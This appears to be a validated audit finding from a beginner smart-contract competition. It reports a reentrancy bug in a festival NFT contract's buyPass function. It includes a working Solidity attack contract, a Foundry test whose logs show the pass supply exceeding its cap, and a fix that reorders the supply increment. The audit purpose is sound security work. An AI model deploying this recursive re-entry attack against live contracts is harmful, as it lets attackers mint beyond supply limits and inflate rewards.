Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

`FestivalPass::buyPass` – Reentrancy vulnerability allows exceeding the supply limit

FestivalPass::buyPass – Reentrancy vulnerability allows exceeding the supply limit

Description

The buyPass() function allows users to purchase passes if the current passSupply is less than the set passMaxSupply.

However, since the call to _mint() precedes the increment of passSupply, malicious code can be executed during onERC1155Received, such as a reentrant call to buyPass.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
...

Risk

Likelihood: High

The attack is easy to execute using a malicious contract implementing the IERC1155Receiver interface. Simply send the correct ETH and call buyPass(), which is then automatically chained via onERC1155Received, causing unchecked minting escalation.

Impact: Medium

Although ETH funds are not directly at risk, this vulnerability allows exceeding the pass supply limit and, as a consequence, minting more BEAT tokens than intended, breaking the system's economy and reward distribution rules. This can cause token inflation and disproportionate rewards.

Proof of Concept

This proof of concept demonstrates how a malicious contract can exceed the maximum passMaxSupply limit using a recursive attack exploiting the onERC1155Received function, forcing the creation of more passes than allowed by the protocol.

Contract Attack

contract Attack is IERC1155Receiver {
address public festivalPass;
constructor(address _festivalPass) {
festivalPass = _festivalPass;
}
/// @notice Starts the attack by sending ETH and buying the first pass
function attack() external payable {
IFestival(festivalPass).buyPass{value: 0.05 ether}(1); // General Pass
}
/// @notice Callback after receiving a pass. Recursively re-executes buyPass while balance is less than 101
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external override returns (bytes4) {
uint256 balance = IFestival(festivalPass).balanceOf(address(this), 1);
if (balance < 101) {
// Continue buying while less than 101 passes received
IFestival(festivalPass).buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
}
/// @notice Test demonstrating how the GENERAL_PASS max supply limit can be exceeded using a recursive attack
function test_Attack() public {
// Deploy the malicious contract
Attack attacker = new Attack(address(festivalPass));
// Define two addresses: one for the attacker, another to simulate legitimate users
address attackerUser = makeAddr("attackerUser");
address legitUsers = makeAddr("legitUsers");
// Calculate required ETH amounts
uint256 attackerEth = 102 * 0.05 ether; // Attacker will buy 102 passes (1 manual + 101 recursive)
uint256 legitUsersEth = 4999 * 0.05 ether; // Legitimate users buy 4999 passes
// Assign ETH to each participant
vm.deal(attackerUser, attackerEth);
vm.deal(legitUsers, legitUsersEth);
// Simulate purchase of 4999 passes by legitimate users
for (uint256 i = 0; i < 4999; i++) {
vm.prank(legitUsers);
festivalPass.buyPass{value: 0.05 ether}(1);
}
// The attacker executes the exploit ignoring the supply limit
vm.prank(attackerUser);
attacker.attack{value: attackerEth}();
// Show the final pass balance of the malicious contract and the total registered supply
console.log("GENERAL PASS ATTACKER BALANCE....:", festivalPass.balanceOf(address(attacker), 1));
console.log("GENERAL PASS TOTAL SUPPLY........:", festivalPass.passSupply(1));
}
Logs:
ATTACKER GENERAL PASS BALANCE....: 101
TOTALGENERAL PASS TOTAL SUPPLY...: 5100
The recorded values show that 5100 GENERAL_PASS type passes have been created, exceeding the intended maximum limit of 5000. The attacker obtained 101 via a recursive attack inside onERC1155Received. This confirms that the passMaxSupply validation can be bypassed during internal execution, allowing excessive pass creation.

Recommended Mitigation

This mitigation moves the line ++passSupply[collectionId]; before _mint(...) to ensure the supply counter is incremented before control can be ceded to external contracts such as in onERC1155Received.
This prevents an attacker from executing recursive purchases before the supply limit is effectively updated, protecting the maximum pass logic.

function buyPass(uint256 collectionId) external payable {
...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.